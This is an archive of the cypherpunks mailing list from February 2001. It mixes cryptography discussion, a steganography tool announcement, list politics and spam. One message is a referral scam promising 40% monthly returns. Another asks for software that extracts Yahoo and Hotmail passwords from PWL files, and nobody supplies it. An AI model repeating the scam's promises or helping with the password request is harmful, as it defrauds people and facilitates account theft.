From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 18:33:18 -0600 (CST)
Subject: FC01 E-Voting Panel Description (fwd)
Message-ID: <Pine.LNX.3.96.1010217183315.5925Q-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 12 Feb 2001 16:17:50 -0500
From: "R. A. Hettinga" <rah at shipwright.com>
To: Digital Bearer Settlement List <dbs at philodox.com>, dcsb at ai.mit.edu,
    cryptography at c2.net, coderpunks at toad.com
Subject: FC01 E-Voting Panel Description


--- begin forwarded text



From ravage at einstein.ssz.com  Sat Feb 17 16:33:36 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 18:33:36 -0600 (CST)
Subject: [release] OutGuess 0.2 - universal steganography (fwd)
Message-ID: <Pine.LNX.3.96.1010217183324.5925R-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Tue, 13 Feb 2001 18:01:59 -0500
From: Niels Provos <provos at citi.umich.edu>
To: cryptography at c2.net
Cc: coderpunks at toad.com
Subject: [release] OutGuess 0.2 - universal steganography

Release announcement of OutGuess 0.2
------------------------------------

OutGuess is a universal steganographic tool that allows the insertion
of hidden information into the redundant bits of data sources.  It
is undetectable by known statistical tests and provides for plausible
deniability.

You can download OutGuess from http://www.outguess.org/

Version 0.2 includes the following new features:

 - Undetectable by any statistical test based on frequency counts. 
 - Determines maximum message size that can be hidden safely.
 - Increases message space for JPEG format.

What does OutGuess do differently?

OutGuess modifies the least-significant bits of the quantized DCT
coefficients in case of the JPEG format.  While some people view this
as simple and primitive, it allows OutGuess to preserve statistics
based on frequency counts.  As a result, no known statistical test is
able to detect the presence of steganographic content.  Before
embedding data into an image, OutGuess can determine the maximum
message size that can be hidden while still being able to maintain
statistics based on frequency counts.

Regards,
 Niels Provos.




From ravage at einstein.ssz.com  Sat Feb 17 16:34:28 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 18:34:28 -0600 (CST)
Subject: Making One-time pad using the soundcard (fwd)
Message-ID: <Pine.LNX.3.96.1010217183423.5925U-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 14 Feb 2001 15:31:01 +0200
From: Paul N <paul_ft2 at email.ro>
To: cryptography at c2.net
Subject: Making One-time pad using the soundcard


It is secure to make a onetime pad using 16 bit input from soundcard using the 
following algorithm?

Each bit of the output is the result of XOR-ing all 16 bits from the input 
sample... so, for making one byte of "one-time pad", I need 8 samples (16*8 
bits or 16 bytes) of input?

Of course I allow this only if the cllipping doesn't occurs and there is 
nosilence....

[I would not feel particularly comfortable merely combining the bits
of a single sample -- distilling entropy using a hash function and
large blocks of input would probably work out better. I'm sure there
will be plenty of opinions around here. --Perry]




From ANTIGEN_BAMBI at cognex.com  Sat Feb 17 16:12:06 2001
From: ANTIGEN_BAMBI at cognex.com (ANTIGEN_BAMBI)
Date: Sat, 17 Feb 2001 19:12:06 -0500
Subject: Antigen found W32/Hybris-B virus
Message-ID: <0E2AA31B2BF2C845BC9F8D7E330BDFF4435E@bambi.pc.cognex.com>


Antigen for Exchange found midgets.scr infected with W32/Hybris-B virus.
The file is currently Deleted.  The message, "CDR: Mail Delivery Failure -
Please read this message!", was
sent from postmaster at another.com and was discovered in IMC Queues\Inbound
located at Cognex/Natick/BAMBI.




From ravage at einstein.ssz.com  Sat Feb 17 17:35:29 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 19:35:29 -0600 (CST)
Subject: Math Fiction - another fish in a shallow sea...
Message-ID: <Pine.LNX.3.96.1010217193102.5925Y-100000@einstein.ssz.com>



Stumbled across this baby this afternoon,

Fantasia Mathematicia: Being a set of stories, together with a group of
oddments and diversions, all drawn from the universe of mathematics.
ed. Clifton Fadiman (1958)
SBN 671-24450-7 Casebox ed.
    671-24451-5 Fireside pbk.
LoC 58-6269

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From delivery at cyberxcel.com  Sat Feb 17 20:58:04 2001
From: delivery at cyberxcel.com (CyberXcel Web Design)
Date: Sat, 17 Feb 2001 20:58:04 -0800 (PST)
Subject: CyberXcel Web Design (English-Spanish) & Web Hosting
Message-ID: <023b01c0996a$0e164ee0$0441e53f@CYBERXCEL>


Vismtenos en http://www.cyberxcel.com/

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Esto es lo que le podemos ofrecer:
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Visit us at http://www.cyberxcel.com/

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This is what we can offer you.
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2) Translation of your Web Site. (If you already have one)
3) Web Hosting
4) Banners for advertisement on our Web Site (http://www.cyberxcel.com/) 


For more information please email us at: mailto:information at cyberxcel.com












From George at Orwellian.Org  Sat Feb 17 18:46:52 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Sat, 17 Feb 2001 21:46:52 -0500 (EST)
Subject: Mohammed gets Miranda, praise Allah
Message-ID: <200102180246.VAA01254@www6.aa.psiweb.com>


http://www.nytimes.com/2001/02/17/nyregion/17TERR.html?pagewanted=all
#    
#    February 17, 2001
#    
#    Judge Extends Legal Rights Beyond U.S.
#    
#    By BENJAMIN WEISER
#    
#    A federal judge in Manhattan has ruled that foreign suspects 
#    who are interrogated abroad by American law enforcement officials 
#    are entitled to the same Fifth Amendment right against 
#    self-incrimination as suspects who are questioned in the United 
#    States.
#    
#    The decision, which was unsealed yesterday in Federal District 
#    Court in Manhattan, is the first to apply the Constitutional 
#    standard to such interrogations, wrote the judge, Leonard B. 
#    Sand. It could have a broad impact on the government's 
#    investigations abroad, particularly in terrorism cases.
#    
#    Judge Sand also ruled that the familiar Miranda warnings, which 
#    are traditionally read to all suspects in the United States, 
#    must also be administered to foreign suspects who are interrogated 
#    by American agents abroad.
#    
[snip]
#    
#    "What he has done," said H. Richard Uviller, a law professor 
#    at Columbia University, "is universalized this provision of the 
#    Bill of Rights."
#    
#    Professor Uviller said the decision was "significant insofar 
#    as it controls the trial of accused foreign terrorists in American 
#    courts."
#    
#    "They are treated almost exactly as if the interrogation had 
#    taken place at One Police Plaza," the professor said.
#    
#    "It's a sound opinion," he added, "on a novel subject justified 
#    by all of the best authority, as well as good sense."
#    
#    The government will not appeal the ruling, said Herbert Hadad, 
#    a spokesman for the United States attorney's office in Manhattan, 
#    who refused further comment.
#    
[snip]
#    
#    The judge found the question important because of the "increasing 
#    regularity" with which American law enforcement officials "are 
#    dispatched and stationed beyond our national borders."




From ravage at EINSTEIN.ssz.com  Sat Feb 17 19:56:16 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 17 Feb 2001 21:56:16 -0600 (CST)
Subject: It's 2001, so it must be time for A Modest Filtering Proposal
In-Reply-To: <20010217142346.A684@slack.lne.com>
Message-ID: <Pine.LNX.3.96.1010217214825.5925d-100000@einstein.ssz.com>



On Sat, 17 Feb 2001, Eric Murray wrote:

> On Sat, Feb 17, 2001 at 12:06:13PM -0800, Tim May wrote:

> > (Choate can presumably be counted on to start foaming about how I am 
> > proposing censorship and that if I would like such a service I should 
> > build one myself. Happily, I won't see his foamings.)

Bullshit, the ONLY objection that I have EVER had was proposals that
imposed policies or operating process on ALL operators OR(!!!) imposed
filtering on the backbone. Neither of these will I tolerate.

This neither effects the backbone nor is there somebody trying to tell me
what to do with my property (ie SSZ).

> SSZ's CDR web page (einstein.ssz.com/cdr/index.html#) says:
> 
> <The idea was to have multiple remailers, usualy using majordomo and
> <procmail, that members could subscribe to and individual remailer
> <operators could impose just about whatever type of moderation policy
> <they desired.
> 
> which is what I'm doing here.  

And I applaud your effort. This is exactly(!) why the backbone needs to
remain clean and unfiltered, so that INDIVIDUALS may decide what is in
their best interest versus some fucking kabala with its own agenda.

When you're up and ready to go let me know and I'll add you to my backbone
feed. Also, please post a reasonably detailed email with your policy,
suitable for framing of course, so that I can update the SSZ homepage. I'd
also post any details of your process (ie scripts) if you wish to share
them.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From hotrodnews at adelphia.net  Sat Feb 17 20:08:26 2001
From: hotrodnews at adelphia.net (Pam Carneal, Sales & Marketing Director)
Date: Sat, 17 Feb 2001 23:08:26 -0500
Subject: Your posts on inet-one.com
Message-ID: <004e01c09961$ba9cf5a0$57843018@pit.adelphia.net>

I keep getting Snow White emails from hahaha at sexyfun.net with virus infected attachments. I've received 3 (the latest was midgets.scr) this week. Luckily McAfee found them right away.

What's going on and how do I stop it!

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From mail at coffeeshop-amsterdam.com  Sat Feb 17 14:22:16 2001
From: mail at coffeeshop-amsterdam.com (mail at coffeeshop-amsterdam.com)
Date: Sat, 17 Feb 2001 23:22:16 +0100
Subject: www.coffeeshop-amsterdam.com, messageboard upgraded to version 6.0
Message-ID: <E14UFk8-0008E1-00@erdbeer>


Our hemp/marijuana community is growing!

We want to inform you with our upgrade to version 6.0 beta of our 
messageboard, this will improve you interactive experience with other Ganja 
lovers even more! check it out at:

http://www.coffeeshop-amsterdam.com/html/bboardframes.htm

New features:

Private messaging - send one-to-one messages to other community 
members, and use Ignore/Buddy Lists to control your messages. 

Member ratings - allow your community members to rate each other based 
on their participation! 

Caching System: UBB 6.0 utilizes a new caching system that 
significantly reduces the load on the web server. This caching system is a 
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coffeeshop messageboard with 60% !

Hope to see you soon on the board, and thank you for your support of 
www.coffeeshop-amsterdam.com.

Superjoint

Webmaster www.coffeeshop-amsterdam.com
webmaster at coffeeshop-amsterdam.com


messageboard: http://www.coffeeshop-amsterdam.com/html/bboardframes.htm






From pzakas at toucancapital.com  Sat Feb 17 20:29:07 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Sat, 17 Feb 2001 23:29:07 -0500
Subject: Mohammed gets Miranda, praise Allah
In-Reply-To: <200102180246.VAA01254@www6.aa.psiweb.com>
Message-ID: <BNEBJALEDJIGAAEGHIGJEEDHCBAA.pzakas@toucancapital.com>


hmm.  does this mean le/intelligence agencies will soon need to have a
warrant to perform wiretaps on overseas communications?  And if no warrant,
can collected evidence eventually be disallowed if foreign suspects are
brought to us courts?  slippery slope.

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of George at Orwellian.Org
Sent: Saturday, February 17, 2001 9:47 PM
To: cypherpunks at cyberpass.net
Subject: Mohammed gets Miranda, praise Allah



http://www.nytimes.com/2001/02/17/nyregion/17TERR.html?pagewanted=all
#
#    February 17, 2001
#
#    Judge Extends Legal Rights Beyond U.S.
#
#    By BENJAMIN WEISER
#
#    A federal judge in Manhattan has ruled that foreign suspects
#    who are interrogated abroad by American law enforcement officials
#    are entitled to the same Fifth Amendment right against
#    self-incrimination as suspects who are questioned in the United
#    States.
#
#    The decision, which was unsealed yesterday in Federal District
#    Court in Manhattan, is the first to apply the Constitutional
#    standard to such interrogations, wrote the judge, Leonard B.
#    Sand. It could have a broad impact on the government's
#    investigations abroad, particularly in terrorism cases.
#
#    Judge Sand also ruled that the familiar Miranda warnings, which
#    are traditionally read to all suspects in the United States,
#    must also be administered to foreign suspects who are interrogated
#    by American agents abroad.
#
[snip]
#
#    "What he has done," said H. Richard Uviller, a law professor
#    at Columbia University, "is universalized this provision of the
#    Bill of Rights."
#
#    Professor Uviller said the decision was "significant insofar
#    as it controls the trial of accused foreign terrorists in American
#    courts."
#
#    "They are treated almost exactly as if the interrogation had
#    taken place at One Police Plaza," the professor said.
#
#    "It's a sound opinion," he added, "on a novel subject justified
#    by all of the best authority, as well as good sense."
#
#    The government will not appeal the ruling, said Herbert Hadad,
#    a spokesman for the United States attorney's office in Manhattan,
#    who refused further comment.
#
[snip]
#
#    The judge found the question important because of the "increasing
#    regularity" with which American law enforcement officials "are
#    dispatched and stationed beyond our national borders."





From pzakas at toucancapital.com  Sat Feb 17 20:32:59 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Sat, 17 Feb 2001 23:32:59 -0500
Subject: Music/Harddrives
In-Reply-To: <456868538c9cf415f3e44577d04c2095@remailer.privacy.at>
Message-ID: <BNEBJALEDJIGAAEGHIGJKEDHCBAA.pzakas@toucancapital.com>


isn't that why we have napster? anyway at least we can enjoy 100% pure us
grade a beef here. ;)


-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Anonymous
Sent: Saturday, February 17, 2001 7:53 PM
To: cypherpunks at cyberpass.net
Subject: Music/Harddrives


Ken Brown wrote:

>That's the trouble with all you suburbanites. A three hour drive to the
>shop & then all you can get is Metallica & Puff Daddy. Over here in
>London there are maybe ten shops in a short lunchbreak's stroll of my
>desk where I would be able to buy vast quantities of
>non-English-language music. I bet the same is true of New York or Paris.
>You guys just need to get back to the big city :-)

Yes, but can you get King Missile _Happy Hour_, the compilation that
contains the classic song "Detachable Penis"?





From statiro at yahoo.com  Sat Feb 17 14:10:00 2001
From: statiro at yahoo.com (Christian)
Date: Sun, 18 Feb 2001 00:10:00 +0200
Subject: RECEIVE $400.00 FREE & WATCH IT GROW!
Message-ID: <07c333848220f21WEBSRV1@mail.xnet.ro>



   Hello,

This is free to join, and could make you a lot of money.
 A friend joined a similar program, and made $25,000.
 What do you have to lose? You could gain MONEY!!

        Cristian
 
PS: I have just received a message from LIIC and the last day to join is February 
18
    because they have surpassed 5000 members!
    The time to join is NOW! Remember,is FREE FREE FREE!	


PSS:After joining,please let me know so we can keep in touch for best results.
Maito: statiro at yahoo.com?subject=I HAVE JOINED
and send me your name and the e-mail address you used to join.Thank you!
 ----------------------------------------------------------------------------
 ------------------------------------------------------------
 NOTE: If you joined this program before then please accept our
 sincerest apologies. Our autoresponder was shut down due to
 spamming and our email account become inaccessible. Therefore,
 everyone who joined previously will have to join again, using the
 new procedure below.

 
 Thank you for requesting information about the Liechtenstein
 International Investment Corporation (LIIC). We are a sixteen
 strong team of traders with decades of collective experience in
 all aspects of financial trading - everything from ordinary
 shares to exotic instruments such as SLCs and BGs.
 
 My name is Gordon Vaduz and it is my pleasure to introduce you to
 an opportunity that may change your life. Several months ago we
 were approached by a foundation (the name must remain
 confidential) with total assets of over USD$12 billion. An offer
 was made, which we accepted. Obviously the details cannot be
 discussed here, but I can state the objectives of the agreement
 and what they mean for you. The purpose of the agreement was to
 help ordinary people obtain financial independence in a
 relatively short period of time. The foundation agreed that we'd
 have access to their assets for use as collateral against
 secured investments (i.e. no-risk guaranteed investments) in
 direct proportion to the number of people we were helping along
 their road to financial independence. In other words, the more
 people we help, the more money we can make, for ourselves, for
 you and for the foundation.
 
 Our aim is to sign-up 5,000 people. We cannot do this with
 anything less. With 5,000 people we will be given access to
 assets worth over USD$100 million. This is the minimum
 requirement for participation in the secured investments we wish
 to engage.
 
 If you would like to be one of the beneficiaries of this
 arrangement then simply follow the procedure below. We have
 learned important lessons since our first attempt and are
 therefore utilizing a procedure with intrinsic redundancy.
 
 Step 1
 Join Mailing List #1 by sending a blank email to:
 liic-subscribe at yahoogroups.com <mailto:liic-subscribe at yahoogroups.com>
 
 Step 2
 Join Mailing List #2 by sending a blank email to:
 liic-subscribe at listbot.com <mailto:liic-subscribe at listbot.com>
 
 Step 3
 Join Mailing List #3 by sending a blank email to:
 liic-subscribe at topica.com <mailto:liic-subscribe at topica.com>
 
 Step 4
 Send an email to liic_info at bigfoot.com <mailto:liic_info at bigfoot.com> with
 "JOIN" in the "Subject:" line
 YOUR NAME and YOUR REFERRER'S NAME (Cristian Florin Ionica) in the "body".
 You MUST follow the above procedure. The reason for three
 mailing lists is simply that if one or two are shut down, the
 third will allow us to contact you. Please ensure that you
 confirm all subscriptions to the mailing lists (you'll get an
 email asking you to confirm your subscription).
 
 If you fail to follow the procedure correctly then you may miss
 out on important updates. You'll be throwing away a fantastic
 opportunity, so please spend a few minutes studying the procedure
 and following it precisely. I recommend that you also save this
 entire document somewhere safe and print out a copy.
 
 We will send updates to the mailing list on a periodic basis.
 Final instructions will then be sent to everyone when we reach
 5,000 members.
 
 You can introduce this opportunity to others, simply pass this
 information on to them and request that they use your name as the
 referrer. If you wish, you can upload this email to an
 autoresponder instead (try www.getresponse.com
 <http://www.getresponse.com>). You will
 receive 5% of everything your referrals receive from this
 program. I know 5% isn't much but with 25 referrals it'll add
 up to an average salary.
 
 Once we reach the 5,000 member mark, USD$400 will be invested for
 each member (these funds will be provided by the foundation).
 It will compound by at least 40% per month. After eight months
 your account will be worth at least USD$5900. You can then
 withdraw your profits or leave the money in your account to
 compound. For example, at the end of the ninth month you would
 have made 40% on USD$5900, which is USD$2360. You can withdraw
 the whole USD$2360, or just some of it, or leave it alone to
 compound the following month. The principle (the USD$5900)
 belongs to the foundation but the profits it generates are yours.
 
 It will cost you nothing to take part in this opportunity and
 could lead to financial independence within eight months from the
 starting date. Please share this opportunity with your friends
 and family, the faster we reach our goal of 5,000 sign-ups the
 quicker we can get started. You won't make a million from this
 program. This is not a get-rich-quick scheme. It is for
 responsible adults who are seeking a genuine opportunity to
 become financially independent.
 
 Please don't ask us any questions at this time. Everything you
 need to know is right here in this document. When we are ready
 to move ahead we will set up an enquiry center where you can have
 all your questions answered.
 
 Until then...
 
     Gordon


-------------------------------------






From sparky at suba.com  Sat Feb 17 23:33:29 2001
From: sparky at suba.com (sparky)
Date: Sun, 18 Feb 2001 01:33:29 -0600
Subject: Hi friends :)
In-Reply-To: <F186QR7j1HaKtKufVma0000849c@hotmail.com>
Message-ID: <3A8F2669.6270.1D6D515@localhost>


On 18 Feb 2001, at 10:29, Imran Shaikh / JANI wrote:

> hi
> 
> my name is Jani
> living in hyderabad, Pakistan
> i am cute boy of age 22

I don't know about anyone else but I've been waiting for someone 
cute on this list for a long time. That's right, the rest of you are 
pretty damn ugly, and the sooner you admit it the better off you'll 
be.

s

> 
> somehow i got ur email address so i am eamiling you all ppl, hope u
> guys will guide me. I want to view passwords of PWl files. i dont know
> how i can do this. will you guys help me ? i need software for this
> that can decrpt it with all yahoo and hotmail logins and passwords.
> 
> waiting
> imran shaikh (jani)
> imranshaikh.cjb.net
> 
> 
> ______________________________________________________________________
> ___ Get Your Private, Free E-mail from MSN Hotmail at
> http://www.hotmail.com.
> 
> 





From nobody at remailer.privacy.at  Sat Feb 17 16:45:03 2001
From: nobody at remailer.privacy.at (Anonymous)
Date: Sun, 18 Feb 2001 01:45:03 +0100
Subject: Music/Harddrives
Message-ID: <1d8d65253811b08842e40fc685fa7ac3@remailer.privacy.at>

Ken Brown wrote:

>That's the trouble with all you suburbanites. A three hour drive to the
>shop & then all you can get is Metallica & Puff Daddy. Over here in
>London there are maybe ten shops in a short lunchbreak's stroll of my
>desk where I would be able to buy vast quantities of
>non-English-language music. I bet the same is true of New York or Paris.
>You guys just need to get back to the big city :-)

Yes, but can you get King Missile _Happy Hour_, the compilation that
contains the classic song "Detachable Penis"?

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From nobody at remailer.privacy.at  Sat Feb 17 16:53:02 2001
From: nobody at remailer.privacy.at (Anonymous)
Date: Sun, 18 Feb 2001 01:53:02 +0100
Subject: Music/Harddrives
Message-ID: <456868538c9cf415f3e44577d04c2095@remailer.privacy.at>

Ken Brown wrote:

>That's the trouble with all you suburbanites. A three hour drive to the
>shop & then all you can get is Metallica & Puff Daddy. Over here in
>London there are maybe ten shops in a short lunchbreak's stroll of my
>desk where I would be able to buy vast quantities of
>non-English-language music. I bet the same is true of New York or Paris.
>You guys just need to get back to the big city :-)

Yes, but can you get King Missile _Happy Hour_, the compilation that
contains the classic song "Detachable Penis"?

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From decoy at iki.fi  Sat Feb 17 17:49:54 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Sun, 18 Feb 2001 03:49:54 +0200 (EET)
Subject: Taxes on hard drives
In-Reply-To: <a05010402b6b49953850a@[207.111.241.2]>
Message-ID: <Pine.SOL.4.30.0102180331170.18083-100000@kruuna.Helsinki.FI>


On Sat, 17 Feb 2001, Tim May wrote:

>Don't assume that because you don't have some of the same laws we in
>these united states have is because you have "more freedom."

That *so* wasn't the idea.

>As for copying CDs and the Home Recording Act, let me hasten to add
>that there has _never_ been a prosecution of an individual for
>copying CDs, before or after the Home Recording Act.

Precisely as in the case of copyright law and its rules for public playback.
Those permit some pretty wild interpretations, if stretched to their limit.
The record companies simply aren't stupid enough to try. The bad-will
aroused by such a move would be far too bad a PR blunder. And if they ever
wanted to harrass people via such laws, they would do much what was done
during the DeCSS trial - prosecute on the letter of the law, speak to the
public about their favorite view-of-the-day of its spirit.

>I was merely noting that when the kleptocrats formulated their new
>"Home Recording Act," the new shakedown tax came with a proviso that
>made such a prosecution impossible even in principle.

Which is good, considering that dormant law often doesn't stay that way. I'm
just worried that if they pass some AHRA type deal over here, what will not
be copied is this single acceptable part.

>Finland and France and all of the other European "havens of freedom"
>(yuck yuck) will eventually figure out what these united states and
>their fascist rulers figured out decades earlier.

If I really thought of Finland as the pinnacle of liberal achievement, I
would not be subscribed to this list. Unlearning takes some time, see.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From beta at dayscar.com  Sun Feb 18 03:37:28 2001
From: beta at dayscar.com (cole)
Date: Sun, 18 Feb 2001 05:37:28 -0600
Subject: Minority News
Message-ID: <200102251136.DAA29870@toad.com>


If you are interested in minority news go to www.toryprince.com

Minority News. Updated Daily.

ToryPrince.com

News for the rest of us.



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registered trademark of Toryprince Inc.

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From jdocwra at earthlink.net  Sun Feb 18 07:18:32 2001
From: jdocwra at earthlink.net (John Docwra)
Date: Sun, 18 Feb 2001 07:18:32 -0800
Subject: Math Fiction - another fish in a shallow sea...
References: <Pine.LNX.3.96.1010217193102.5925Y-100000@einstein.ssz.com>
Message-ID: <003701c099be$0ec4fa40$e30e243f@a7i9o1>


Jim

I'm a newcomer to this list, so I was hoping to find stuff like your last
posting, excellent find.
Now a question, I am reading " Applied Cryptography: Protocols, Algorithms,
and Source Code in C, 2nd Edition " by Bruce Schneier. I note that the "C"
source code is on a separate CD ROM. Is it worth paying the extra $$'s to
get?

John




From jdocwra at earthlink.net  Sun Feb 18 07:38:47 2001
From: jdocwra at earthlink.net (John Docwra)
Date: Sun, 18 Feb 2001 07:38:47 -0800
Subject: No subject
Message-ID: <005d01c099c0$e2c66fc0$e30e243f@a7i9o1>

Jim

I'm a newcomer to this list, so I was hoping to find stuff like your last
posting, excellent find.
Now a question, I am reading " Applied Cryptography: Protocols, Algorithms,
and Source Code in C, 2nd Edition " by Bruce Schneier. I note that the "C"
source code is on a separate CD ROM. Is it worth paying the extra $$'s to
get?

John

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From ravage at einstein.ssz.com  Sun Feb 18 06:11:23 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 18 Feb 2001 08:11:23 -0600
Subject: Slashdot | Sun, Motorola Want Radio Tags In All Consumer Goods
Message-ID: <3A8FD80B.9AF87E8E@ssz.com>


http://slashdot.org/articles/01/02/17/1638237.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at EINSTEIN.ssz.com  Sun Feb 18 06:12:55 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sun, 18 Feb 2001 08:12:55 -0600
Subject: Slashdot | Web Standards Project: Upgrade, Or Miss Out
Message-ID: <3A8FD867.68C5BE17@ssz.com>


http://slashdot.org/articles/01/02/17/2152248.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Sun Feb 18 07:27:33 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 18 Feb 2001 09:27:33 -0600 (CST)
Subject: Slashdot | Web Standards Project: Upgrade, Or Miss Out
In-Reply-To: <20010218110919.A55018@cypherpunks.ai>
Message-ID: <Pine.LNX.3.96.1010218092339.5925s-100000@einstein.ssz.com>



Freedom of speech isn't an issue for Cypherpunks? Hijacking the technical
standards process for economic ends isn't a cpunk issue? Being told what
software to run on your computer isn't a cpunk issue? Producers hijacking
the free market process and 'managing' consumers isn't a cpunk issue?

Adam, the truth is you're a cryptographer and you wouldn't know 'punk' if
it walked up and bit you in the ass.

On Sun, 18 Feb 2001, Adam Back wrote:

> Why should we care about this?  It might be vaguely interesting, 
> but it has nothing to do with cypherpunks?   Right? 

> On Sun, Feb 18, 2001 at 08:12:55AM -0600, Jim Choate wrote:
> > 
> > http://slashdot.org/articles/01/02/17/2152248.shtml

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Sun Feb 18 07:37:41 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 18 Feb 2001 09:37:41 -0600 (CST)
Subject: Math Fiction - another fish in a shallow sea...
In-Reply-To: <003701c099be$0ec4fa40$e30e243f@a7i9o1>
Message-ID: <Pine.LNX.3.96.1010218093244.5925t-100000@einstein.ssz.com>



On Sun, 18 Feb 2001, John Docwra wrote:

> I'm a newcomer to this list, so I was hoping to find stuff like your last
> posting, excellent find.
> Now a question, I am reading " Applied Cryptography: Protocols, Algorithms,
> and Source Code in C, 2nd Edition " by Bruce Schneier. I note that the "C"
> source code is on a separate CD ROM. Is it worth paying the extra $$'s to
> get?

My $0.2? Yes, the CD is a good source of material. Though to be fair I
have to admit that I do so much hands-on crypto that I've only got the 1st
ed. floppy around here somewhere. I'd also suggest taking a look at the
Dr. Dobb's line of CD-R's as well. I also found the CD for,

Number Theory: A programmers guide
M. Herkommer
ISBN 0-07-913074-7
$65 US

useful, thought it does total only a couple of M's.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From jimran at hotmail.com  Sat Feb 17 21:29:48 2001
From: jimran at hotmail.com (Imran Shaikh / JANI)
Date: Sun, 18 Feb 2001 10:29:48 +0500
Subject: Hi friends :)
Message-ID: <F186QR7j1HaKtKufVma0000849c@hotmail.com>


hi

my name is Jani
living in hyderabad, Pakistan
i am cute boy of age 22

somehow i got ur email address so i am eamiling you all ppl, hope u guys 
will guide me. I want to view passwords of PWl files. i dont know how i can 
do this. will you guys help me ? i need software for this that can decrpt it 
with all yahoo and hotmail logins and passwords.

waiting
imran shaikh (jani)
imranshaikh.cjb.net


_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.




From adam at cypherspace.org  Sun Feb 18 07:09:19 2001
From: adam at cypherspace.org (Adam Back)
Date: Sun, 18 Feb 2001 11:09:19 -0400
Subject: Slashdot | Web Standards Project: Upgrade, Or Miss Out
In-Reply-To: <3A8FD867.68C5BE17@ssz.com>; from Jim Choate on Sun, Feb 18, 2001 at 08:12:55AM -0600
References: <3A8FD867.68C5BE17@ssz.com>
Message-ID: <20010218110919.A55018@cypherpunks.ai>


Why should we care about this?  It might be vaguely interesting, 
but it has nothing to do with cypherpunks?   Right? 

Adam


On Sun, Feb 18, 2001 at 08:12:55AM -0600, Jim Choate wrote:
> 
> http://slashdot.org/articles/01/02/17/2152248.shtml




From atek3 at gmx.net  Sun Feb 18 11:51:07 2001
From: atek3 at gmx.net (atek3)
